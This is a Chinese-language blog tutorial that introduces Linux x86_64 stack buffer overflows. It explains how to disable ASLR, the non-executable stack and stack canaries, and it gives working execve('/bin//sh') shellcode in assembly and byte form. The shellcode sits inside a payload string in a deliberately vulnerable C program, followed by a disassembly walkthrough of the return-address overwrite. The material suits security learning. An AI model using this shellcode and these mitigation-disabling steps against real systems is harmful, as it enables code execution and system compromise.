初識Linux棧溢出攻擊

初識Linux棧溢出攻擊

0x00 限定條件

1、關閉aslr(Address Space Layout Randomization)
  開啓aslr後,應用程序或動態鏈接庫裝載時,系統會隨機設定其裝載基址。這樣就避免了攻擊者事先預知特定函數的入口地址。ubuntu下的關閉命令爲echo 0 >/proc/sys/kernel/randomize_va_space,該命令需要事先通過su提升到root權限。
2、關閉堆棧段不可執行機制
  如果堆棧段被標記爲不可執行,那麼覆蓋程序棧的shellcode就無法執行。關閉堆棧段不可執行機制的gcc編譯命令爲-z execstack
3、關閉gs校驗機制
  gs校驗機制的原理是,進入函數前向程序棧中壓入一個隨機數,函數返回後檢查這個隨機數,如果被改寫了,就報段錯誤,結束程序。關閉gs校驗機制的gcc編譯命令爲-fno-stack-protector
測試平臺爲Ubuntu 15.04 64位,測試代碼如下

#include<stdio.h>
#include<string.h>
char s[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x10\xdb\xff\xff\xff\x7f";
int main()
{
    char t[48];
    strcpy(t,s);
    return 0;
}

編譯命令gcc -fno-stack-protector -z execstack -g -o stackTest stackTest.c

0x01 shellcode

;shellcode.asm  

BITS 64  
; run execve("/bin//sh", NULL, NULL) Linux x86_64 Shellcode  
; Shellcode size 34 bytes  

global _start  

section .text  

_start:  
    xor    rax,rax          ;clear rax  
    add    rax,0x3b         ;syscall_64.tbl ==> 59 64 execve stub_execve  
    xor    rdi,rdi          ;clear rdi  
    push   rdi          ;push stack (rsp -= 8)  
    mov    rdi,0x68732f2f6e69622f   ;hs//nib/ ==> /bin//sh  
    push   rdi          ;push stack (rsp -= 8)  
    lea    rdi,[rsp]        ;rdi = rsp (%rdi%rsi%rdx%rcx%r8%r9 用作函數參數,依次對應第1參數,第2參數)  
    xor    rsi,rsi          ;clear rsi  
    xor    rdx,rdx          ;clear rdx  
    syscall  

  shellcode是一段二進制機器碼,以完成特定的任務,比如要彈出shell,在c語言裏就是execve(“/bin//sh”, NULL, NULL)就可以了,execve的調用過程用匯編寫就是shellcode.asm中的內容[1]
編譯shellcode.asm命令nasm -f elf64 shellcode.asm
可以使用腳本提取機器碼for i in $(objdump -d shellcode.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo

0x02 程序運行棧

  gcc把原文件編譯爲ELF格式的可執行文件,此時ELF文件存儲在磁盤上。爲了運行這個程序,需要通過系統自帶的loader把ELF文件加載到內存中,建立程序運行棧。使用objdump -d stackTest可以查看ELF文件的反彙編代碼,整個程序的入口是.text段的_start函數,該函數通過動態鏈接的方式調用運行庫函數__libc_start_main__libc_start_main主要負責三部分工作[2]:(1)程序初始化和加載(調用__libc_csu_init);(2)運行main函數(調用main);(3)main函數結束後進行清理(調用__GI_exit)。
  程序運行棧的結構如下圖所示,其中在main函數棧幀上面並緊挨着main函數棧幀的是之前壓入棧中的eip寄存器的值,該值指向__libc_start_main函數中的一條語句,目的是在main函數運行完成後跳轉回__libc_start_main進行清理工作(調用__GI_exit),這個值就是我們要覆蓋並操縱的值。下一節我們以main函數棧幀和在棧中緊挨着它的eip寄存器的值爲研究對象,觀察main函數運行過程中它們的變化,來弄明白棧溢出攻擊是如何實現的。

這裏寫圖片描述

0x03 程序運行過程分解

int main()
{
  400536:   55                      push   %rbp
  400537:   48 89 e5                mov    %rsp,%rbp
  40053a:   48 83 ec 30             sub    $0x30,%rsp
    char t[48];
    strcpy(t,s);
  40053e:   48 8d 45 d0             lea    -0x30(%rbp),%rax
  400542:   be 60 10 60 00          mov    $0x601060,%esi
  400547:   48 89 c7                mov    %rax,%rdi
  40054a:   e8 c1 fe ff ff          callq  400410 <strcpy@plt>
    return 0;
  40054f:   b8 00 00 00 00          mov    $0x0,%eax
}
  400554:   c9                      leaveq
  400555:   c3                      retq   
  400556:   66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
  40055d:   00 00 00

1、40053a: sub $0x30,%rsp執行完成後main函數棧幀的狀態:

這裏寫圖片描述

2、strcpy拷貝過程,先是正常拷貝,然後是溢出覆蓋
這裏寫圖片描述

這裏寫圖片描述

3、溢出完成後,程序繼續向下執行直到400555: retq,這條語句執行之前,棧的結構如下圖所示,rsp已經改變了位置。retq指令將棧頂元素也就是\x10\xdb\xff\xff\xff\x7f彈出到寄存器rip中,這樣,下一步要執行的語句的位置就被修改成了0x7fffffffdb10,經過幾個\0x90代表的nop指令,就能順利執行構造的shellcode了。
這裏寫圖片描述

試驗結果如下圖所示:
這裏寫圖片描述
[1]http://blog.csdn.net/shuimuyq/article/details/50523014
[2]http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章